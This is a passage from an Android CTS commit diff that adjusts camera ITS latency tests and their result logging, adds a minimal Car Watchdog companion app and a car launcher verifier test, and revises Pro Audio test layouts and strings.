Snap for 8589293 from aca2dbbb1dec98057b3d32a536bd09c7bc610b8a to sc-v2-platform-release

Change-Id: I9d5ac31ea053b652ba3609e4f2598237853de737
diff --git a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
index e1ed893..a66f831 100644
--- a/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_camera_launch_perf_class.py
@@ -22,6 +22,7 @@
 import its_base_test
 import its_session_utils
 
+# This must match MPC12_CAMERA_LAUNCH_THRESHOLD in ItsTestActivity.java
 CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD = 600  # ms
 
 
@@ -41,7 +42,7 @@
         camera_id=self.camera_id) as cam:
 
       camera_properties_utils.skip_unless(
-          cam.is_performance_class_primary_camera())
+          cam.is_primary_camera())
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -55,11 +56,17 @@
         camera_id=self.camera_id)
 
     launch_ms = cam.measure_camera_launch_ms()
-    if launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD:
-      raise AssertionError(f'camera launch time: {launch_ms} ms, THRESH: '
-                           f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD} ms')
-    else:
-      logging.debug('camera launch time: %.1f ms', launch_ms)
+
+    # Assert launch time if device claims performance class
+    if (cam.is_performance_class() and
+        launch_ms >= CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD):
+      raise AssertionError(f'camera_launch_time_ms: {launch_ms}, THRESH: '
+                           f'{CAMERA_LAUNCH_S_PERFORMANCE_CLASS_THRESHOLD}')
+
+    # Log launch time, so that the corresponding MPC level can be written to
+    # report log. Text must match MPC12_CAMERA_LAUNCH_PATTERN in
+    # ItsTestActivity.java.
+    print(f'camera_launch_time_ms:{launch_ms}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
index ba4867b..0eb76eb 100644
--- a/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
+++ b/apps/CameraITS/tests/scene2_c/test_jpeg_capture_perf_class.py
@@ -22,13 +22,14 @@
 import its_base_test
 import its_session_utils
 
+# This must match MPC12_JPEG_CAPTURE_THRESHOLD in ItsTestActivity.java
 JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD = 1000  # ms
 
 
 class JpegCaptureSPerfClassTest(its_base_test.ItsBaseTest):
   """Test jpeg capture latency for S performance class as specified in CDD.
 
-  [7.5/H-1-6] MUST have camera2 JPEG capture latency < 1000ms for 1080p
+  [7.5/H-1-5] MUST have camera2 JPEG capture latency < 1000ms for 1080p
   resolution as measured by the CTS camera PerformanceTest under ITS lighting
   conditions (3000K) for both primary cameras.
   """
@@ -41,7 +42,7 @@
         camera_id=self.camera_id) as cam:
 
       camera_properties_utils.skip_unless(
-          cam.is_performance_class_primary_camera())
+          cam.is_primary_camera())
 
       # Load chart for scene.
       props = cam.get_camera_properties()
@@ -55,12 +56,18 @@
         camera_id=self.camera_id)
 
     jpeg_capture_ms = cam.measure_camera_1080p_jpeg_capture_ms()
-    if jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD:
-      raise AssertionError(f'1080p jpeg capture time: {jpeg_capture_ms} ms, '
+
+    # Assert jpeg capture time if device claims performance class
+    if (cam.is_performance_class() and
+        jpeg_capture_ms >= JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD):
+      raise AssertionError(f'1080p_jpeg_capture_time_ms: {jpeg_capture_ms}, '
                            f'THRESH: '
-                           f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD} ms')
-    else:
-      logging.debug('1080p jpeg capture time: %.1f ms', jpeg_capture_ms)
+                           f'{JPEG_CAPTURE_S_PERFORMANCE_CLASS_THRESHOLD}')
+
+    # Log jpeg capture time so that the corresponding MPC level can be written
+    # to report log. Text must match MPC12_JPEG_CAPTURE_PATTERN in
+    # ItsTestActivity.java.
+    print(f'1080p_jpeg_capture_time_ms:{jpeg_capture_ms}')
 
 if __name__ == '__main__':
   test_runner.main()
diff --git a/apps/CameraITS/tests/scene3/test_flip_mirror.py b/apps/CameraITS/tests/scene3/test_flip_mirror.py
index 2dff574..679b740 100644
--- a/apps/CameraITS/tests/scene3/test_flip_mirror.py
+++ b/apps/CameraITS/tests/scene3/test_flip_mirror.py
@@ -53,10 +53,6 @@
   Returns:
     boolean: True if flipped, False if not
   """
-
-  # determine if monochrome camera
-  mono_camera = camera_properties_utils.mono_camera(props)
-
   # get a local copy of the chart template
   template = cv2.imread(opencv_processing_utils.CHART_FILE, cv2.IMREAD_ANYDEPTH)
 
@@ -139,6 +135,10 @@
       debug = self.debug_mode
       chart_loc_arg = self.chart_loc_arg
 
+      # check SKIP conditions
+      camera_properties_utils.skip_unless(
+          not camera_properties_utils.mono_camera(props))
+
       # load chart for scene
       its_session_utils.load_scene(
           cam, props, self.scene, self.tablet, self.chart_distance)
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index 73d1276..af55ebc 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -29,7 +29,7 @@
 import opencv_processing_utils
 
 ALIGN_TOL_MM = 4.0  # mm
-ALIGN_TOL = 0.01  # multiplied by sensor diagonal to convert to pixels
+ALIGN_TOL = 0.0075  # multiplied by sensor diagonal to convert to pixels
 CIRCLE_COLOR = 0  # [0: black, 255: white]
 CIRCLE_MIN_AREA = 0.01  # multiplied by image size
 CIRCLE_RTOL = 0.1  # 10%
diff --git a/apps/CameraITS/tools/run_all_tests.py b/apps/CameraITS/tools/run_all_tests.py
index d5d3b06..8e1c6f4 100644
--- a/apps/CameraITS/tools/run_all_tests.py
+++ b/apps/CameraITS/tools/run_all_tests.py
@@ -16,6 +16,7 @@
 import logging
 import os
 import os.path
+import re
 import subprocess
 import sys
 import tempfile
@@ -41,6 +42,7 @@
 RESULT_FAIL = 'FAIL'
 RESULT_NOT_EXECUTED = 'NOT_EXECUTED'
 RESULT_KEY = 'result'
+METRICS_KEY = 'mpc_metrics'
 SUMMARY_KEY = 'summary'
 RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}
 ITS_TEST_ACTIVITY = 'com.android.cts.verifier/.camera.its.ItsTestActivity'
@@ -452,6 +454,7 @@
     for s in per_camera_scenes:
       test_params_content['scene'] = s
       results[s]['TEST_STATUS'] = []
+      results[s][METRICS_KEY] = []
 
       # unit is millisecond for execution time record in CtsVerifier
       scene_start_time = int(round(time.time() * 1000))
@@ -527,14 +530,28 @@
             test_failed = False
             test_skipped = False
             test_not_yet_mandated = False
-            line = file.read()
-            if 'Test skipped' in line:
+            test_mpc_req = ""
+            content = file.read()
+
+            # Find media performance class logging
+            lines = content.splitlines()
+            for one_line in lines:
+              # regular expression pattern must match
+              # MPC12_CAMERA_LAUNCH_PATTERN or MPC12_JPEG_CAPTURE_PATTERN in
+              # ItsTestActivity.java.
+              mpc_string_match = re.search(
+                  '^(1080p_jpeg_capture_time_ms:|camera_launch_time_ms:)', one_line)
+              if mpc_string_match:
+                test_mpc_req = one_line
+                break
+
+            if 'Test skipped' in content:
               return_string = 'SKIP '
               num_skip += 1
               test_skipped = True
               break
 
-            if 'Not yet mandated test' in line:
+            if 'Not yet mandated test' in content:
               return_string = 'FAIL*'
               num_not_mandated_fail += 1
               test_not_yet_mandated = True
@@ -547,7 +564,7 @@
 
             if test_code == 1 and not test_not_yet_mandated:
               return_string = 'FAIL '
-              if 'Problem with socket' in line and num_try != NUM_TRIES-1:
+              if 'Problem with socket' in content and num_try != NUM_TRIES-1:
                 logging.info('Retry %s/%s', s, test)
               else:
                 num_fail += 1
@@ -557,6 +574,8 @@
         logging.info('%s %s/%s', return_string, s, test)
         test_name = test.split('/')[-1].split('.')[0]
         results[s]['TEST_STATUS'].append({'test':test_name,'status':return_string.strip()})
+        if test_mpc_req:
+          results[s][METRICS_KEY].append(test_mpc_req)
         msg_short = '%s %s' % (return_string, test)
         scene_test_summary += msg_short + '\n'
 
@@ -604,8 +623,9 @@
   logging.info('Test execution completed.')
 
   # Power down tablet
-  cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
-  subprocess.Popen(cmd.split())
+  if tablet_id:
+    cmd = f'adb -s {tablet_id} shell input keyevent KEYCODE_POWER'
+    subprocess.Popen(cmd.split())
 
 if __name__ == '__main__':
   main()
diff --git a/apps/CameraITS/utils/its_session_utils.py b/apps/CameraITS/utils/its_session_utils.py
index 4c47388..cac2291 100644
--- a/apps/CameraITS/utils/its_session_utils.py
+++ b/apps/CameraITS/utils/its_session_utils.py
@@ -82,6 +82,9 @@
 
   # Seconds timeout on each socket operation.
   SOCK_TIMEOUT = 20.0
+  # Seconds timeout on performance measurement socket operation
+  SOCK_TIMEOUT_FOR_PERF_MEASURE = 40.0
+
   # Additional timeout in seconds when ITS service is doing more complicated
   # operations, for example: issuing warmup requests before actual capture.
   EXTRA_SOCK_TIMEOUT = 5.0
@@ -1093,8 +1096,8 @@
                                       ' support')
     return data['strValue'] == 'true'
 
-  def is_performance_class_primary_camera(self):
-    """Query whether the camera device is an R or S performance class primary camera.
+  def is_primary_camera(self):
+    """Query whether the camera device is a primary rear/front camera.
 
     A primary rear/front facing camera is a camera device with the lowest
     camera Id for that facing.
@@ -1103,14 +1106,28 @@
       Boolean
     """
     cmd = {}
-    cmd['cmdName'] = 'isPerformanceClassPrimaryCamera'
+    cmd['cmdName'] = 'isPrimaryCamera'
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
     data, _ = self.__read_response_from_socket()
-    if data['tag'] != 'performanceClassPrimaryCamera':
-      raise error_util.CameraItsError('Failed to query performance class '
-                                      'primary camera')
+    if data['tag'] != 'primaryCamera':
+      raise error_util.CameraItsError('Failed to query primary camera')
+    return data['strValue'] == 'true'
+
+  def is_performance_class(self):
+    """Query whether the mobile device is an R or S performance class device.
+
+    Returns:
+      Boolean
+    """
+    cmd = {}
+    cmd['cmdName'] = 'isPerformanceClass'
+    self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
+
+    data, _ = self.__read_response_from_socket()
+    if data['tag'] != 'performanceClass':
+      raise error_util.CameraItsError('Failed to query performance class')
     return data['strValue'] == 'true'
 
   def measure_camera_launch_ms(self):
@@ -1124,7 +1141,11 @@
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
+    timeout = self.SOCK_TIMEOUT_FOR_PERF_MEASURE
+    self.sock.settimeout(timeout)
     data, _ = self.__read_response_from_socket()
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+
     if data['tag'] != 'cameraLaunchMs':
       raise error_util.CameraItsError('Failed to measure camera launch latency')
     return float(data['strValue'])
@@ -1140,7 +1161,11 @@
     cmd['cameraId'] = self._camera_id
     self.sock.send(json.dumps(cmd).encode() + '\n'.encode())
 
+    timeout = self.SOCK_TIMEOUT_FOR_PERF_MEASURE
+    self.sock.settimeout(timeout)
     data, _ = self.__read_response_from_socket()
+    self.sock.settimeout(self.SOCK_TIMEOUT)
+
     if data['tag'] != 'camera1080pJpegCaptureMs':
       raise error_util.CameraItsError(
           'Failed to measure camera 1080p jpeg capture latency')
diff --git a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp b/apps/CarWatchdogCompanionApp/Android.bp
similarity index 69%
rename from hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
rename to apps/CarWatchdogCompanionApp/Android.bp
index ec76abd..a87902a 100644
--- a/hostsidetests/securitybulletin/test-apps/CVE-2021-0481/Android.bp
+++ b/apps/CarWatchdogCompanionApp/Android.bp
@@ -1,4 +1,5 @@
-// Copyright (C) 2021 The Android Open Source Project
+//
+// Copyright (C) 2022 The Android Open Source Project
 //
 // Licensed under the Apache License, Version 2.0 (the "License");
 // you may not use this file except in compliance with the License.
@@ -11,25 +12,19 @@
 // WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 // See the License for the specific language governing permissions and
 // limitations under the License.
+//
 
 package {
     default_applicable_licenses: ["Android-Apache-2.0"],
 }
 
 android_test_helper_app {
-    name: "CVE-2021-0481",
-    defaults: ["cts_support_defaults"],
+    name: "CtsCarWatchdogCompanionApp",
+    defaults: ["cts_defaults"],
     srcs: ["src/**/*.java"],
+    sdk_version: "current",
     test_suites: [
         "cts",
-        "vts10",
-        "sts",
+        "general-tests",
     ],
-    static_libs: [
-        "androidx.test.rules",
-        "androidx.test.uiautomator_uiautomator",
-        "androidx.test.core",
-        "androidx.appcompat_appcompat",
-    ],
-    sdk_version: "current",
 }
diff --git a/apps/CarWatchdogCompanionApp/AndroidManifest.xml b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
new file mode 100644
index 0000000..a263539
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/AndroidManifest.xml
@@ -0,0 +1,16 @@
+<?xml version="1.0" encoding="utf-8"?>
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="com.android.cts.car.watchdog_companionapp">
+
+    <application android:label="CtsCarWatchdogCompanionApp">
+        <activity android:name=".CarWatchdogCompanionActivity"
+            android:exported="true">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
+            </intent-filter>
+            <meta-data android:name="distractionOptimized" android:value="true"/>
+        </activity>
+    </application>
+</manifest>
diff --git a/apps/CarWatchdogCompanionApp/OWNERS b/apps/CarWatchdogCompanionApp/OWNERS
new file mode 100644
index 0000000..b1bb28d
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/OWNERS
@@ -0,0 +1,5 @@
+# Bug component: 608533
+felipeal@google.com
+jahdiel@google.com
+keunyoung@google.com
+lakshmana@google.com
diff --git a/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
new file mode 100644
index 0000000..c24cca9
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/layout/car_watchdog_companion_activity.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<TextView xmlns:android="http://schemas.android.com/apk/res/android" android:id="@+id/text"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent"
+    android:textSize="20sp"
+    android:gravity="center"
+    android:text="@string/car_watchdog_companion_activity_text" />
diff --git a/apps/CarWatchdogCompanionApp/res/values/strings.xml b/apps/CarWatchdogCompanionApp/res/values/strings.xml
new file mode 100644
index 0000000..341483f
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/res/values/strings.xml
@@ -0,0 +1,21 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2022 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+
+<resources>
+    <string name="car_watchdog_companion_activity_text">
+        Welcome to the CTS Verifier Car Watchdog Companion App!
+    </string>
+</resources>
diff --git a/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
new file mode 100644
index 0000000..4c7fa82
--- /dev/null
+++ b/apps/CarWatchdogCompanionApp/src/com/android/cts/car/watchdog_companionapp/CarWatchdogCompanionActivity.java
@@ -0,0 +1,33 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.car.watchdog_companionapp;
+
+import android.app.Activity;
+import android.os.Bundle;
+
+/**
+ * A minimal application for Car's CTS Verifier Tests.
+ */
+public class CarWatchdogCompanionActivity extends Activity {
+
+    @Override
+    public void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+
+        setContentView(R.layout.car_watchdog_companion_activity);
+    }
+}
diff --git a/apps/CtsVerifier/AndroidManifest.xml b/apps/CtsVerifier/AndroidManifest.xml
index 1e2bcd9..2ad8d4c 100644
--- a/apps/CtsVerifier/AndroidManifest.xml
+++ b/apps/CtsVerifier/AndroidManifest.xml
@@ -5213,6 +5213,20 @@
                        android:value="multi_display_mode" />
         </activity>
 
+        <activity android:name=".car.CarLauncherTestActivity"
+                  android:exported="true"
+                  android:label="@string/car_launcher_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.hardware.type.automotive"/>
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
+
         <!-- 6DoF sensor test -->
         <activity
                 android:name="com.android.cts.verifier.sensors.sixdof.Activities.StartActivity"
diff --git a/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml b/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
index 18eef3e..b40c71d 100644
--- a/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
+++ b/apps/CtsVerifier/res/drawable/display_cutout_test_button.xml
@@ -27,6 +27,16 @@
             <corners android:radius="4dp" />
         </shape>
     </item>
+    <item android:state_focused="true">
+        <shape>
+            <solid android:color="#ffbfbfbf" />
+            <padding android:left="4dp"
+                     android:top="4dp"
+                     android:right="4dp"
+                     android:bottom="4dp" />
+            <corners android:radius="4dp" />
+        </shape>
+    </item>
     <item>
         <shape>
             <solid android:color="#ff7f7f7f" />
diff --git a/apps/CtsVerifier/res/layout/car_launcher_test_main.xml b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
new file mode 100644
index 0000000..675e610
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/car_launcher_test_main.xml
@@ -0,0 +1,59 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!--
+     Copyright (C) 2021 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"
+              android:layout_width="match_parent"
+              android:layout_height="match_parent"
+              android:orientation="vertical"
+              android:gravity="center_horizontal"
+              style="@style/RootLayoutPadding">
+
+    <ScrollView
+        android:layout_width="match_parent"
+        android:layout_height="0dp"
+        android:layout_weight="1"
+        android:orientation="vertical">
+
+        <LinearLayout
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:gravity="center_horizontal"
+            android:orientation="vertical" >
+
+            <TextView
+                android:id="@+id/car_launcher_test_description"
+                android:layout_width="match_parent"
+                android:layout_height="wrap_content"
+                android:padding="10dp"
+                android:text="@string/car_launcher_test_desc"
+                style="@style/InstructionsSmallFont"/>
+
+            <Button
+                android:id="@+id/car_launcher_test_button"
+                android:layout_width="wrap_content"
+                android:layout_height="wrap_content"
+                android:text="@string/car_launcher_test_button_label"
+                android:layout_margin="24dp"/>
+        </LinearLayout>
+    </ScrollView>
+
+    <include
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content"
+        android:layout_weight="0"
+        layout="@layout/pass_fail_buttons" />
+
+</LinearLayout>
\ No newline at end of file
diff --git a/apps/CtsVerifier/res/layout/pro_audio.xml b/apps/CtsVerifier/res/layout/pro_audio.xml
index a60439e..d9dcf41 100644
--- a/apps/CtsVerifier/res/layout/pro_audio.xml
+++ b/apps/CtsVerifier/res/layout/pro_audio.xml
@@ -24,7 +24,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioHasProAudioLbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
@@ -42,7 +42,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioHasLLALbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
@@ -60,7 +60,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioHasMIDILbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
@@ -78,7 +78,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioMidiHasUSBHostLbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
@@ -96,14 +96,18 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioMidiHasUSBPeripheralLbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
-    <CheckBox android:id="@+id/proAudioHasHDMICheckBox"
-        android:layout_width="wrap_content"
-        android:layout_height="wrap_content"
-        android:text="@string/proAudioHasHDMICheckBox"
-        android:onClick="onCheckboxClicked"/>
+    <LinearLayout android:orientation="horizontal"
+        android:layout_width="match_parent"
+        android:layout_height="wrap_content">
+        <CheckBox android:id="@+id/proAudioHasHDMICheckBox"
+            android:layout_width="wrap_content"
+            android:layout_height="wrap_content"
+            android:text="@string/proAudioHasHDMICheckBox"
+            android:onClick="onCheckboxClicked"/>
+    </LinearLayout>
 
     <LinearLayout android:orientation="horizontal"
         android:layout_width="match_parent"
@@ -120,7 +124,7 @@
             android:paddingLeft="10dp"
             android:paddingRight="10dp"
             android:id="@+id/proAudioHDMISupportLbl"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <LinearLayout android:orientation="vertical"
@@ -130,13 +134,7 @@
             android:id="@+id/proAudioTestStatusLbl"
             android:layout_width="match_parent"
             android:layout_height="wrap_content"
-            android:textSize="18sp"/>
-
-        <TextView
-            android:text="@string/proAudioLoopbackMoved"
-            android:layout_width="match_parent"
-            android:layout_height="wrap_content"
-            android:textSize="18sp"/>
+            android:textSize="20sp"/>
     </LinearLayout>
 
     <include layout="@layout/pass_fail_buttons"/>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
index d5fe781..aed65e2 100644
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -180,6 +180,24 @@
         framework correctly tries to open the CAR_DOCK app again.</string>
     <string name="car_mode_enable">Enable Car Mode</string>
     <string name="car_dock_activity_text">Press the Home button</string>
+    <string name="car_launcher_test">Car Launcher Test</string>
+    <string name="car_launcher_test_desc">This test ensures that the car launcher lists apps
+        disabled by car service due to system resource overuse.\n\n
+        <b>
+            Before proceeding, check if \'com.android.cts.car.watchdog_companionapp\'
+            (aka CtsCarWatchdogCompanionApp) is installed by going to Settings &gt; Apps. If not,
+            please install the app before proceeding.\n\n
+        </b>
+        1. Check if the CtsCarWatchdogCompanionApp is visible in car launcher\'s app grid view. If
+        it is not listed, pass the test.\n
+        2. Run the
+        \'adb shell cmd car_service watchdog-resource-overuse-kill com.android.cts.car.watchdog_companionapp\'
+        shell command to disable the app because of system resource overuse.\n
+        3. Click on \"Open Launcher\". Make sure the CtsCarWatchdogCompanionApp is displayed. If it
+        is not listed, fail the test.\n
+        4. Open CtsCarWatchdogCompanionApp from the launcher.\n\n
+        Pass the test only if the companion app opened successfully.</string>
+    <string name="car_launcher_test_button_label">Open Launcher</string>
     <string name="gear_selection_test">Gear Selection Test</string>
     <string name="gear_selection_test_desc">This test ensures that the
       GEAR_SELECTION property is implemented correctly.\n\nShift the car\'s
@@ -4184,6 +4202,34 @@
     <string name="disallow_outgoing_beam">Disallow outgoing beam</string>
     <string name="disallow_outgoing_beam_action">Switching on android beam</string>
     <string name="disallow_remove_user">Disallow remove user</string>
+    <string name="check_new_user_disclaimer">Check new user disclaimer</string>
+    <string name="check_new_user_disclaimer_info">
+        Please do the following: \n\n
+        1. Check persistent notification for managed device \n\n
+        a). Open the notification UI, verify that there is a notification saying the device is managed.\n
+        b). Tap the notification\n
+        c). It should show a dialog explaining the device is managed and asking the user to accept \n
+        d). Don\'t accept initially and tap outside the dialog \n
+        e). Open the notification UI again, verify that the managed device notification is still shown \n
+        \n
+        f). Click \"Set Org\", and open the notification UI again, verify that the organization name
+        \"Foo, Inc\" is shown on the dialog \n
+        \n\n
+        2. Check adding account is restricted\n\n
+        a) Click \"Go\" to launch the \"Profiles &amp; accounts\" setting \n
+        b) navigate to \"Add account\" \n
+        \n
+        Expected: \n
+        - \"Add account\" is disabled \n
+        - Click the button will launch the new user disclaimer dialog\n
+        \n
+        c) Click accept button\n
+        \n
+        Expected: \n
+        - the screen will be dismissed \n
+        - \"Add account\" will be enabled\n
+        - Click the button will take user to the screen to add account \n
+    </string>
     <string name="device_owner_disallow_remove_user_info">
         Please press \'Create uninitialized user\' to create a user that is not set up. Then press the
         \'Set restriction\' button to set the user restriction.
@@ -5095,27 +5141,26 @@
     <!--  Pro Audio Tests -->
     <string name="pro_audio_latency_test">Pro Audio Test</string>
 
-    <string name="proAudioHasProAudiolbl">Has Pro Audio</string>
-    <string name="proAudioHasLLAlbl">Has Low-Latency Audio</string>
+    <string name="proAudioHasProAudiolbl">Has Pro Audio:</string>
+    <string name="proAudioHasLLAlbl">Has Low-Latency Audio:</string>
     <string name="audioLoopbackInputLbl">Audio Input:</string>
     <string name="audioLoopbackOutputLbl">Audio Output:</string>
-
-    <string name="proAudioMidiHasMIDILbl">Has MIDI Support</string>
-    <string name="proAudioMIDIInputLbl">MIDI Input:</string>
-    <string name="proAudioMIDIOutputLbl">MIDI Output:</string>
+    <string name="proAudioMidiHasMIDILbl">Has MIDI Support:</string>
     <string name="proAudioMidiHasUSBHostLbl">USB Host Mode:</string>
     <string name="proAudioMidiHasUSBPeripheralLbl">USB Peripheral Mode:</string>
     <string name="proAudioHDMISupportLbl">HDMI Support:</string>
     <string name="proAudioHasHDMICheckBox">Has HDMI Support</string>
-    <string name="proAudioLoopbackMoved">The latency measurement for Pro Audio has been moved to the Audio Loopback Latency Test</string>
 
     <string name="audio_proaudio_NA">N/A</string>
-    <string name="audio_proaudio_pending">pending...</string>
+    <string name="audio_proaudio_hdmiPending">pending...</string>
+    <string name="audio_proaudio_hdmiNotFound">No HDMI detected.</string>
 
     <string name="audio_proaudio_nopa_title">Pro Audio Test</string>
     <string name="audio_proaudio_nopa_message">This device does not set the FEATURE_AUDIO_PRO
         flag and therefore does not need to run this test.</string>
 
+    <string name="hdmi_insufficient">The Connected HDMI device does not meet CDD requirements</string>
+
     <!-- Various test status strings -->
     <string name="audio_proaudio_pass">Pass</string>
     <string name="audio_proaudio_latencytoohigh">Latency is too high</string>
@@ -5123,7 +5168,6 @@
     <string name="audio_proaudio_midinotreported">"No MIDI support reported"</string>
     <string name="audio_proaudio_usbhostnotreported">"No USB Host Mode support reported"</string>
     <string name="audio_proaudio_usbperipheralnotreported">"No USB Peripheral Mode support reported"</string>
-    <string name="audio_proaudio_hdminotvalid">HDMI support is reported by not valid.</string>
 
     <!--  MIDI Test -->
     <string name="midi_test">MIDI Test</string>
@@ -5711,9 +5755,18 @@
 
     <!-- Pro Audio Test -->
     <string name="proaudio_test">Pro Audio Test</string>
-    <string name="proaudio_info">
-        This test will check for validity of the \"Pro Audio\" and subsidiary flags. Note
-        that this test no longer requires a loopback audio device.
+    <string name="proaudio_info">This tests that any device claiming \"Pro Audio\" meets the
+        requirements specified in the
+        <a href="https://source.android.com/compatibility/12/android-12-cdd#510_professional_audio">
+            CDD section 5.10. Professional Audio</a>
+        \n\nTo execute the test:
+        \n1. Note that all required flags report \"true\"
+        \n2. If the DUT supports HDMI:
+        \n  a. Click the \"Has HDMI Support\" checkbox
+        \n  b. Connect an HDMI device to the DUT
+        \n  c. Verify that the reported HDMI attributes meet the specification.
+        \n\nNote that the latency measurement for Pro Audio has been moved to the
